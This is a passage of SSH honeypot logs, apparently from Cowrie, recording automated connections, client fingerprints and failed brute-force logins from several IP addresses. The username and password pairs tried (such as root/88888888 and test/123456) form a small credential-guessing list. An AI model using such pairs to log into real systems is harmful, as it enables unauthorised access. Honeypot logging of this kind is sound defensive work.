nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:27.266419Z","src_ip":"79.143.189.125","session":"2ff8b78340ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2023","message":"login attempt [sysadmin/sysadmin2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:27.683328Z","src_ip":"79.143.189.125","session":"2ff8b78340ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:28.778859Z","src_ip":"79.143.189.125","session":"2ff8b78340ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":35390,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bda886861ce","protocol":"ssh","message":"New connection: 121.168.139.251:35390 (10.17.0.5:22) [session: 2bda886861ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:31.884480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:31.889313Z","src_ip":"121.168.139.251","session":"2bda886861ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:32.092030Z","src_ip":"121.168.139.251","session":"2bda886861ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123@","message":"login attempt [root/Test123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:32.929614Z","src_ip":"121.168.139.251","session":"2bda886861ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:34.136804Z","src_ip":"121.168.139.251","session":"2bda886861ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":39724,"dst_ip":"10.17.0.5","dst_port":22,"session":"4382e4d63797","protocol":"ssh","message":"New connection: 78.44.192.210:39724 (10.17.0.5:22) [session: 4382e4d63797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:40.117167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:40.124327Z","src_ip":"78.44.192.210","session":"4382e4d63797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:40.234272Z","src_ip":"78.44.192.210","session":"4382e4d63797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:40.693722Z","src_ip":"78.44.192.210","session":"4382e4d63797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:41.806996Z","src_ip":"78.44.192.210","session":"4382e4d63797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60530,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7e7eae53a2","protocol":"ssh","message":"New connection: 103.82.132.16:60530 (10.17.0.5:22) [session: 9b7e7eae53a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:53.084714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:53.090490Z","src_ip":"103.82.132.16","session":"9b7e7eae53a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:53.342164Z","src_ip":"103.82.132.16","session":"9b7e7eae53a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uuuuuu","message":"login attempt [root/uuuuuu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:54.139943Z","src_ip":"103.82.132.16","session":"9b7e7eae53a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:55.394622Z","src_ip":"103.82.132.16","session":"9b7e7eae53a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":33110,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae99703fec81","protocol":"ssh","message":"New connection: 62.133.63.178:33110 (159.203.135.109:22) [session: ae99703fec81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:59.507207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:59.511925Z","src_ip":"62.133.63.178","session":"ae99703fec81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:40:59.640556Z","src_ip":"62.133.63.178","session":"ae99703fec81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789dima","message":"login attempt [root/123456789dima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:00.021766Z","src_ip":"62.133.63.178","session":"ae99703fec81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:01.155593Z","src_ip":"62.133.63.178","session":"ae99703fec81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":47312,"dst_ip":"10.17.0.5","dst_port":22,"session":"ede03c4a913f","protocol":"ssh","message":"New connection: 45.233.218.160:47312 (10.17.0.5:22) [session: ede03c4a913f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:07.092104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:07.097237Z","src_ip":"45.233.218.160","session":"ede03c4a913f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:07.236468Z","src_ip":"45.233.218.160","session":"ede03c4a913f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0001","message":"login attempt [root/0001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:07.819879Z","src_ip":"45.233.218.160","session":"ede03c4a913f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:08.969289Z","src_ip":"45.233.218.160","session":"ede03c4a913f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42656,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbf60e9a8247","protocol":"ssh","message":"New connection: 103.153.68.219:42656 (10.17.0.5:22) [session: fbf60e9a8247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:54.792099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:54.797368Z","src_ip":"103.153.68.219","session":"fbf60e9a8247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:55.049965Z","src_ip":"103.153.68.219","session":"fbf60e9a8247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020288","message":"login attempt [root/020288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:55.809848Z","src_ip":"103.153.68.219","session":"fbf60e9a8247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:41:57.064614Z","src_ip":"103.153.68.219","session":"fbf60e9a8247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":53852,"dst_ip":"10.17.0.5","dst_port":22,"session":"feffbb8f3bea","protocol":"ssh","message":"New connection: 121.168.139.251:53852 (10.17.0.5:22) [session: feffbb8f3bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:08.934488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:08.939264Z","src_ip":"121.168.139.251","session":"feffbb8f3bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:09.139109Z","src_ip":"121.168.139.251","session":"feffbb8f3bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yinghe","password":"yinghe","message":"login attempt [yinghe/yinghe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:09.972269Z","src_ip":"121.168.139.251","session":"feffbb8f3bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:11.175614Z","src_ip":"121.168.139.251","session":"feffbb8f3bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":55864,"dst_ip":"10.17.0.5","dst_port":22,"session":"18f1b2d5cc2d","protocol":"ssh","message":"New connection: 79.143.189.125:55864 (10.17.0.5:22) [session: 18f1b2d5cc2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:11.375714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:11.380570Z","src_ip":"79.143.189.125","session":"18f1b2d5cc2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:11.474040Z","src_ip":"79.143.189.125","session":"18f1b2d5cc2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88888888","message":"login attempt [root/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:11.994408Z","src_ip":"79.143.189.125","session":"18f1b2d5cc2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:13.102412Z","src_ip":"79.143.189.125","session":"18f1b2d5cc2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":45872,"dst_ip":"10.17.0.5","dst_port":22,"session":"6704ab8e4f9d","protocol":"ssh","message":"New connection: 78.44.192.210:45872 (10.17.0.5:22) [session: 6704ab8e4f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:25.662978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:25.667887Z","src_ip":"78.44.192.210","session":"6704ab8e4f9d","protocol":"ssh"}
